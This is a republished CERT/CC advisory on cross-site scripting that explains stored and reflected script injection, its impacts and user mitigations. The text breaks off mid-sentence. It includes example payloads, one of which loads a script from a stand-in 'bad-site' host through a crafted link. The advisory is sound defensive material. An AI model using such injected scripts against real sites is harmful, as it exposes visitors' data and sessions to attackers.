|
|
|
|
| |
A dynamically generated web site, such a discussion forum, can expose visiting users to attacks initiated by malicious attackers. Although the person who developed the interactive web site does not conduct the attack, it should be that person's concern to address those problems and close the security holes, in order to prevent outsiders from using the web site as a place to launch attacks on visiting users.
Those attacks can be prevented by validating input and generating pages that are properly encoded to prevent unintended execution of scripts.
CERT has released an advisory which warns web site developers from those dangers, and instructs on the proper action that should be taken to prevent this. |
| |
Credit:
Apache:
More information from apache can be found at:
http://www.apache.org/info/css-security.
Microsoft:
Microsoft is providing information and assistance on this issue for its customers. This information will be posted at:
www.microsoft.com/security/.
Sun Microsystems, Inc. :
Please see recommendations for Java Web Server at:
http://sun.com/software/jwebserver/faq/jwsca-2000-02.html.
The information was provided by: CERT/CC.
|
| |
Background:
Most web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Such scripts may be written in a variety of scripting languages and are run by the client's browser. Most browsers are installed with the capability to run scripts enabled by default.
Malicious code provided by one client for another client
Sites that host discussion groups with web interfaces have long guarded against a known vulnerability where one client embeds malicious HTML tags in a message intended for another client. For example, an attacker might post a message that looks like:
Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.
When a victim with scripts enabled in their browser reads this message, the malicious code may be executed unexpectedly. Scripting tags that can be embedded in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
Whenever two clients communicate through a mediating server, site developers should explicitly recognize that data input is untrustworthy when it is presented to other users. Most discussion group servers either will not accept such input or will encode/filter it before sending anything to other readers.
Malicious code sent inadvertently by a client for itself
Many Internet web sites overlook the possibility that a client may send malicious data intended to be used only by him. This is an easy mistake to make. After all, why would a user enter malicious code that only the user will see?
This situation may occur when the client relies on an untrustworthy source of information when submitting a request. For example, an attacker may construct a malicious link such as:
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious code</SCRIPT>"> Click here</A>
When an unsuspecting user clicks on this link, the URL sent to example.com includes the malicious code. If the web server sends a page back to the user including the value of mycomment, the malicious code may be executed unexpectedly on the client. This example also applies to untrusted links followed in email or newsgroup messages.
Abuse of Other Tags
In addition to scripting tags, other HTML tags such as the <FORM> tag have the potential to be abused by an attacker. For example, by embedding malicious <FORM> tags at the right place, an intruder can trick users into revealing sensitive information by modifying the behavior of an existing form. Other HTML tags can also be abused to alter the appearance of the page, insert unwanted or offensive images or sounds, or otherwise interfere with the intended appearance and behavior of the page.
Abuse of Trust
At the heart of this vulnerability is the violation of trust that results from the "injected" script or HTML running within the security context established for the example.com site. It is, presumably, a site the browser victim is interested in enough to visit and interact with in a trusted fashion. In addition, the security policy of the legitimate server site example.com may also be compromised.
This example explicitly shows the involvement of two sites:
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
Note the SRC attribute in the <SCRIPT> tag is explicitly incorporating code from a presumably unauthorized source (bad-site). Both of the previous examples show violations of the same-source origination policy fundamental to most scripting security models:
Netscape Communicator Same Origin Policy
Microsoft Scriptlet Security
Because one source is injecting code into pages sent by another source, this vulnerability has also been described as "cross-site" scripting.
Impact:
Users may unintentionally execute scripts written by an attacker when they follow untrusted links in web pages, mail messages, or newsgroup postings. Users may also unknowingly execute malicious scripts when viewing dynamically generated pages based on content provided by other users.
Because the malicious scripts are executed in a context that appears to have originated from the targeted site, the attacker has full access to the document retrieved, and may send data contained in the page back to their site. For example, a malicious script can read fields in a form provided by the real server, and then send this data to the attacker.
Alternatively, the attacker may be able to embed script code that has additional interactions with the legitimate web server without alerting the victim. For example, the attacker could develop an exploit that posted data to a different page on the legitimate web server.
Also, even if the victim's web browser does not support scripting, an attacker can alter the appearance of a page, modify its behavior, or otherwise interfere with normal operation.
The specific impact can vary greatly depending on the language selected by the attacker and the configuration of any authentic pages involved in the attack. Some examples that may not be immediately obvious are included here.
SSL-Encrypted Connections May Be Exposed
The malicious script tags are introduced before the Secure Socket Layer (SSL) encrypted connection is established between the client and the legitimate server. SSL encrypts data sent over this connection, including the malicious code, which is passed in both directions. While ensuring that the client and server are communicating without snooping, SSL makes no attempt to validate the legitimacy of data transmitted.
Because there really is a legitimate dialog between the client and the server, SSL reports no problems. Malicious code that attempts to connect to a non-SSL URL may generate warning messages about the insecure connection, but the attacker can circumvent this warning simply by running an SSL-capable web server.
Attacks May Be Persistent Through Poisoned Cookies
Once malicious code is executing that appears to have come from the authentic web site, cookies may be modified to make the attack persistent. Specifically, if the vulnerable web site uses a field from the cookie in the dynamic generation of pages, the cookie may be modified by the attacker to include malicious code. Future visits to the affected web site (even from trusted links) will be compromised when the site requests the cookie and displays a page based on the field containing the code.
Attacker May Access Restricted Web Sites from the Client
By constructing a malicious URL an attacker may be able to execute script code on the client machine that exposes data from a vulnerable server inside the client's intranet.
The attacker may gain unauthorized web access to an intranet web server if the compromised client has cached authentication for the targeted server. There is no requirement for the attacker to masquerade as any particular system. An attacker only needs to identify a vulnerable intranet server and convince the user to visit an innocent looking page to expose potentially sensitive data on the intranet server.
Domain Based Security Policies May Be Violated
If your browser is configured to allow execution of scripting languages from some hosts or domains while preventing this access from others, attackers may be able to violate this policy.
By embedding malicious script tags in a request sent to a server that is allowed to execute scripts, an attacker may gain this privilege as well. For example, Internet Explorer security "zones" can be subverted by this technique.
Use of Less-Common Character Sets May Present Additional Risk
Browsers interpret the information they receive according to the character set chosen by the user if no character set is specified in the page returned by the web server. However, many web sites fail to explicitly specify the character set (even if they encode or filter characters with special meaning in the ISO-8859-1), leaving users of alternate character sets at risk.
Attacker May Alter the Behavior of Forms
Under some conditions, an attacker may be able to modify the behavior of forms, including how results are submitted.
Possible Solutions:
Solutions for Users
None of the solutions that web users can take are complete solutions. In the end, it is up to web page developers to modify their pages to eliminate these types of problems.
However, web users have two basic options to reduce their risk of being attacked through this vulnerability. The first, disabling scripting languages in their browser, provides the most protection but has the side effect for many users of disabling functionality that is important to them. Users should select this option when they require the lowest possible level of risk.
The second solution, being selective about how they initially visit a web site, will significantly reduce a user's exposure while still maintaining functionality. Users should understand that they are accepting more risk when they select this option, but are doing so in order to preserve functionality that is important to them.
Unfortunately, it is not possible to quantify the risk difference between these two options. Users who decide to continue operating their browsers with scripting languages enabled should periodically revisit the CERT/CC web site for updates, as well as review other sources of security information to learn of any increases in threat or risk related to this vulnerability.
Web Users Should Disable Scripting Languages in Their Browser
Exploiting this vulnerability to execute code requires that some form of embedded scripting language be enabled in the victim's browser. The most significant impact of this vulnerability can be avoided by disabling all scripting languages.
Note that attackers may still be able to influence the appearance of content provided by the legitimate site by embedding other HTML tags in the URL. Malicious use of the |
|
|
|
|
